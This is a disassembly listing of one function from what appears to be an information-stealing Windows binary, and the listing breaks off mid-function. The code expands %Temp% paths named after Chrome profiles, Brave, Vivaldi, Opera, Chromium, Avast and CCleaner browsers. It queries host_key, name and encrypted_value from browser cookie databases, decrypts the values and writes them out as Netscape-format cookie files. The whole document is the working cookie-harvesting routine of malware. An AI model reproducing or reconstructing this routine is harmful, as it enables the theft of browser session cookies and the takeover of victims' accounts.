Function at 0x401af0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bfb70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x874
push ebx
push esi
push edi
mov dword [ebp - 0x5c], edx
mov edi, ecx
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_AllCookies_list.txt
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x401b4c
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x674]
push 0x208
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401b9b
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401b91
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e86
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x401bf0
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401be6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e86
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookies.txt
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x401c26
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x87c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401c6f
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401c65
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e8b
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x401cc4
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401cba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e8b
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov eax, dword [ebp + 8]
cmp eax, 1
jne 0x401e7b
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesgoogle_chrome_new.txt
mov edx, eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x401d06
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401d4f
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401d45
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e90
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x401da4
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401d9a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e90
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesgoogle_chrome_new.txt
mov edx, eax
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x401dda
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x402adc
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402ad2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x402ad2
cmp eax, 2
jne 0x401fda
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesgoogle_chrome_new_profile_1.txt
mov edx, eax
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x401eba
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401f03
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401ef9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e9a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x401f58
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401f4e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e9a
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesgoogle_chrome_new_profile_1.txt
mov edx, eax
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x401f8e
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x401e19
cmp eax, 3
jne 0x402139
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesgoogle_chrome_new_profile_2.txt
mov edx, eax
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402019
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x402062
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402058
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4020b7
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4020ad
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesgoogle_chrome_new_profile_2.txt
mov edx, eax
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4020ed
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x401e19
cmp eax, 4
jne 0x402298
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesgoogle_chrome_new_profile_3.txt
mov edx, eax
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402178
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4021c1
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4021b7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x402216
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40220c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesgoogle_chrome_new_profile_3.txt
mov edx, eax
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x40224c
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x401e19
cmp eax, 5
jne 0x4023f7
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookies_brave_new.txt
mov edx, eax
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4022d7
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x402320
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402316
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x402375
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40236b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookies_brave_new.txt
mov edx, eax
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4023ab
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x401e19
cmp eax, 6
jne 0x402556
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookies_vivaldi_new.txt
mov edx, eax
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402436
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40247f
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402475
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4024d4
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4024ca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookies_vivaldi_new.txt
mov edx, eax
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x40250a
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x401e19
cmp eax, 7
jne 0x4026b5
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesopera_new.txt
mov edx, eax
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402595
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4025de
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4025d4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x402633
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402629
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesopera_new.txt
mov edx, eax
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402669
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x401e19
cmp eax, 8
jne 0x402814
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookieschromium_new.txt
mov edx, eax
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4026f4
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40273d
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402733
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x402792
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402788
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookieschromium_new.txt
mov edx, eax
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4027c8
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x401e19
cmp eax, 9
jne 0x402973
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookies_avast_secure_browser.txt
mov edx, eax
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402853
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40289c
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402892
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4028f1
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4028e7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookies_avast_secure_browser.txt
mov edx, eax
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402927
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x401e19
cmp eax, 0xa
jne 0x402adc
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesccleaner_browser_new.txt
mov edx, eax
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4029b2
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x264]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4029fb
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4029f1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x402a50
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402a46
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesccleaner_browser_new.txt
mov edx, eax
mov dword [ebp - 4], 0x15
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402a86
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x46c]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x401e23
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e95
jmp 0x401e19
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea eax, [ebp - 0x58]
push eax
push edi
call fcn.0049d450
add esp, 8
test eax, eax
jne 0x402e75
mov ebx, dword [ebp - 0x58]
mov edx, str.SELECT_host_key__path__name__encrypted_value_FROM_cookies
push eax
lea eax, [ebp - 0x44]
mov ecx, ebx
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.00477e90
add esp, 0x14
test eax, eax
jne 0x402e6c
push dword [ebp - 0x44]
call fcn.00442640
add esp, 4
cmp eax, 0x64
jne 0x402e61
nop word [eax + eax]
push 0
push dword [ebp - 0x44]
call fcn.00443000
push 1
push dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
call fcn.00443000
push 2
push dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
call fcn.00443000
push 3
push dword [ebp - 0x44]
mov dword [ebp - 0x50], eax
call fcn.00442cd0
add esp, 0x20
mov ebx, eax
mov dword [ebp - 0x54], ebx
push 3
push dword [ebp - 0x44]
call fcn.00443000
test ebx, ebx
je 0x402bac
push ebx
mov edi, eax
call fcn.004a9d98
mov esi, eax
add esp, 0xc
test esi, esi
je 0x402bb1
push ebx
push edi
push esi
call fcn.004a5830
add esp, 0xc
test esi, esi
je 0x402bb1
push dword [ebp - 0x5c]
lea edx, [ebp - 0x54]
mov ecx, esi
call fcn.00401470
mov ebx, dword [ebp - 0x54]
add esp, 4
jmp 0x402bb1
add esp, 8
mov esi, eax
lea eax, [ebp - 0x264]
push 0x4c7018
push eax
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x402cf5
push dword [ebp - 0x48]
push 0x4c79e0
push edi
call fcn.00401120
add esp, 0xc
push str.TRUE
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push dword [ebp - 0x4c]
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push str.FALSE
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push str.1830365600
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push dword [ebp - 0x50]
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push esi
push str._t_s_n
push edi
call fcn.00401120
add esp, 0xc
push edi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x46c]
push 0x4c7018
push eax
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x402cf5
push dword [ebp - 0x48]
push 0x4c79e0
push edi
call fcn.00401120
add esp, 0xc
push str.TRUE
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push dword [ebp - 0x4c]
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push str.FALSE
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push str.1630345132
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push dword [ebp - 0x50]
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push esi
push str._t_s_n
push edi
call fcn.00401120
add esp, 0xc
push edi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x674]
push 0x4c7018
push eax
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x402e39
push dword [ebp - 0x48]
push 0x4c79e0
push edi
call fcn.00401120
add esp, 0xc
push str.TRUE
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push dword [ebp - 0x4c]
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push str.FALSE
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push str.1830365600
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push dword [ebp - 0x50]
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push esi
push str._t_s_n
push edi
call fcn.00401120
add esp, 0xc
push edi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x87c]
push 0x4c7018
push eax
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x402e39
push dword [ebp - 0x48]
push 0x4c79e0
push edi
call fcn.00401120
add esp, 0xc
push str.TRUE
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push dword [ebp - 0x4c]
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push str.FALSE
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push str.1630345132
push 0x4c79e4
push edi
call fcn.00401120
add esp, 0xc
push dword [ebp - 0x50]
push 0x4c79e4
